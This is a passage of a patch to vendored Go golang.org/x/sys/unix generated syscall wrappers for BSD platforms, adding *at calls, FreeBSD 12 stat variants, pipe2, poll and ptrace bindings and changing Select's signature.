-+ _, _, e1 := Syscall6(SYS_LINKAT, uintptr(pathfd), uintptr(unsafe.Pointer(_p0)), uintptr(linkfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Listen(s int, backlog int) (err error) {
- _, _, e1 := Syscall(SYS_LISTEN, uintptr(s), uintptr(backlog), 0)
- if e1 != 0 {
-@@ -899,6 +1023,21 @@ func Mkdir(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mkfifo(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -929,6 +1068,21 @@ func Mknod(path string, mode uint32, dev int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mknodat(fd int, path string, mode uint32, dev int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
- if e1 != 0 {
-@@ -955,6 +1109,22 @@ func Open(path string, mode int, perm uint32) (fd int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0)
-+ fd = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Pathconf(path string, name int) (val int, err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1030,6 +1200,26 @@ func Rename(from string, to string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Renameat(fromfd int, from string, tofd int, to string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(from)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(to)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(fromfd), uintptr(unsafe.Pointer(_p0)), uintptr(tofd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Revoke(path string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1071,8 +1261,9 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1277,6 +1468,26 @@ func Symlink(path string, link string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(oldpath)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(newpath)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Sync() (err error) {
- _, _, e1 := Syscall(SYS_SYNC, 0, 0, 0)
- if e1 != 0 {
-@@ -1340,6 +1551,21 @@ func Unlink(path string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Unlinkat(dirfd int, path string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Unmount(path string, flags int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_freebsd_386.go b/vendor/golang.org/x/sys/unix/zsyscall_freebsd_386.go
-index 1a0bb4cb..600f1d26 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_freebsd_386.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_freebsd_386.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -l32 -tags freebsd,386 syscall_bsd.go syscall_freebsd.go syscall_freebsd_386.go
-+// go run mksyscall.go -l32 -tags freebsd,386 syscall_bsd.go syscall_freebsd.go syscall_freebsd_386.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build freebsd,386
-@@ -214,22 +214,6 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-- var _p0 unsafe.Pointer
-- if len(mib) > 0 {
-- _p0 = unsafe.Pointer(&mib[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func utimes(path string, timeval *[2]Timeval) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -255,9 +239,9 @@ func futimes(fd int, timeval *[2]Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -366,10 +350,25 @@ func Munlockall() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe() (r int, w int, err error) {
-- r0, r1, e1 := RawSyscall(SYS_PIPE, 0, 0, 0)
-- r = int(r0)
-- w = int(r1)
-+func pipe2(p *[2]_C_int, flags int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getcwd(buf []byte) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall(SYS___GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -388,6 +387,32 @@ func ioctl(fd int, req uint, arg uintptr) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(mib) > 0 {
-+ _p0 = unsafe.Pointer(&mib[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ptrace(request int, pid int, addr uintptr, data int) (err error) {
-+ _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Access(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -886,7 +911,7 @@ func Fpathconf(fd int, name int) (val int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fstat(fd int, stat *Stat_t) (err error) {
-+func fstat(fd int, stat *stat_freebsd11_t) (err error) {
- _, _, e1 := Syscall(SYS_FSTAT, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -896,7 +921,47 @@ func Fstat(fd int, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fstatfs(fd int, stat *Statfs_t) (err error) {
-+func fstat_freebsd12(fd int, stat *Stat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTAT_FREEBSD12, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fstatat(fd int, path string, stat *stat_freebsd11_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fstatat_freebsd12(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT_FREEBSD12, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fstatfs(fd int, stat *statfs_freebsd11_t) (err error) {
- _, _, e1 := Syscall(SYS_FSTATFS, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -906,6 +971,16 @@ func Fstatfs(fd int, stat *Statfs_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func fstatfs_freebsd12(fd int, stat *Statfs_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTATFS_FREEBSD12, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fsync(fd int) (err error) {
- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
- if e1 != 0 {
-@@ -926,7 +1001,7 @@ func Ftruncate(fd int, length int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-+func getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
- var _p0 unsafe.Pointer
- if len(buf) > 0 {
- _p0 = unsafe.Pointer(&buf[0])
-@@ -943,6 +1018,23 @@ func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func getdirentries_freebsd12(fd int, buf []byte, basep *uint64) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall6(SYS_GETDIRENTRIES_FREEBSD12, uintptr(fd), uintptr(_p0), uintptr(len(buf)), uintptr(unsafe.Pointer(basep)), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getdtablesize() (size int) {
- r0, _, _ := Syscall(SYS_GETDTABLESIZE, 0, 0, 0)
- size = int(r0)
-@@ -1164,7 +1256,7 @@ func Listen(s int, backlog int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Lstat(path string, stat *Stat_t) (err error) {
-+func lstat(path string, stat *stat_freebsd11_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
-@@ -1224,7 +1316,7 @@ func Mkfifo(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Mknod(path string, mode uint32, dev int) (err error) {
-+func mknod(path string, mode uint32, dev int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
-@@ -1239,6 +1331,36 @@ func Mknod(path string, mode uint32, dev int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func mknodat(fd int, path string, mode uint32, dev int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func mknodat_freebsd12(fd int, path string, mode uint32, dev uint64) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_MKNODAT_FREEBSD12, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), uintptr(dev>>32), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
- if e1 != 0 {
-@@ -1473,8 +1595,9 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1629,7 +1752,7 @@ func Setuid(uid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Stat(path string, stat *Stat_t) (err error) {
-+func stat(path string, stat *stat_freebsd11_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
-@@ -1644,7 +1767,7 @@ func Stat(path string, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Statfs(path string, stat *Statfs_t) (err error) {
-+func statfs(path string, stat *statfs_freebsd11_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
-@@ -1659,6 +1782,21 @@ func Statfs(path string, stat *Statfs_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func statfs_freebsd12(path string, stat *Statfs_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_STATFS_FREEBSD12, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Symlink(path string, link string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_freebsd_amd64.go b/vendor/golang.org/x/sys/unix/zsyscall_freebsd_amd64.go
-index ac1e8e01..064934b0 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_freebsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_freebsd_amd64.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -tags freebsd,amd64 syscall_bsd.go syscall_freebsd.go syscall_freebsd_amd64.go
-+// go run mksyscall.go -tags freebsd,amd64 syscall_bsd.go syscall_freebsd.go syscall_freebsd_amd64.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build freebsd,amd64
-@@ -214,22 +214,6 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-- var _p0 unsafe.Pointer
-- if len(mib) > 0 {
-- _p0 = unsafe.Pointer(&mib[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func utimes(path string, timeval *[2]Timeval) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -255,9 +239,9 @@ func futimes(fd int, timeval *[2]Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -366,10 +350,25 @@ func Munlockall() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe() (r int, w int, err error) {
-- r0, r1, e1 := RawSyscall(SYS_PIPE, 0, 0, 0)
-- r = int(r0)
-- w = int(r1)
-+func pipe2(p *[2]_C_int, flags int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getcwd(buf []byte) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall(SYS___GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -388,6 +387,32 @@ func ioctl(fd int, req uint, arg uintptr) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(mib) > 0 {
-+ _p0 = unsafe.Pointer(&mib[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ptrace(request int, pid int, addr uintptr, data int) (err error) {
-+ _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Access(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -886,7 +911,7 @@ func Fpathconf(fd int, name int) (val int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fstat(fd int, stat *Stat_t) (err error) {
-+func fstat(fd int, stat *stat_freebsd11_t) (err error) {
- _, _, e1 := Syscall(SYS_FSTAT, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -896,7 +921,47 @@ func Fstat(fd int, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fstatfs(fd int, stat *Statfs_t) (err error) {
-+func fstat_freebsd12(fd int, stat *Stat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTAT_FREEBSD12, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fstatat(fd int, path string, stat *stat_freebsd11_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fstatat_freebsd12(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT_FREEBSD12, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fstatfs(fd int, stat *statfs_freebsd11_t) (err error) {
- _, _, e1 := Syscall(SYS_FSTATFS, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -906,6 +971,16 @@ func Fstatfs(fd int, stat *Statfs_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func fstatfs_freebsd12(fd int, stat *Statfs_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTATFS_FREEBSD12, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fsync(fd int) (err error) {
- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
- if e1 != 0 {
-@@ -926,7 +1001,7 @@ func Ftruncate(fd int, length int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-+func getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
- var _p0 unsafe.Pointer
- if len(buf) > 0 {
- _p0 = unsafe.Pointer(&buf[0])
-@@ -943,6 +1018,23 @@ func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func getdirentries_freebsd12(fd int, buf []byte, basep *uint64) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall6(SYS_GETDIRENTRIES_FREEBSD12, uintptr(fd), uintptr(_p0), uintptr(len(buf)), uintptr(unsafe.Pointer(basep)), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getdtablesize() (size int) {
- r0, _, _ := Syscall(SYS_GETDTABLESIZE, 0, 0, 0)
- size = int(r0)
-@@ -1164,7 +1256,7 @@ func Listen(s int, backlog int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Lstat(path string, stat *Stat_t) (err error) {
-+func lstat(path string, stat *stat_freebsd11_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
-@@ -1224,7 +1316,7 @@ func Mkfifo(path string, mode uint32) (err error) {
-
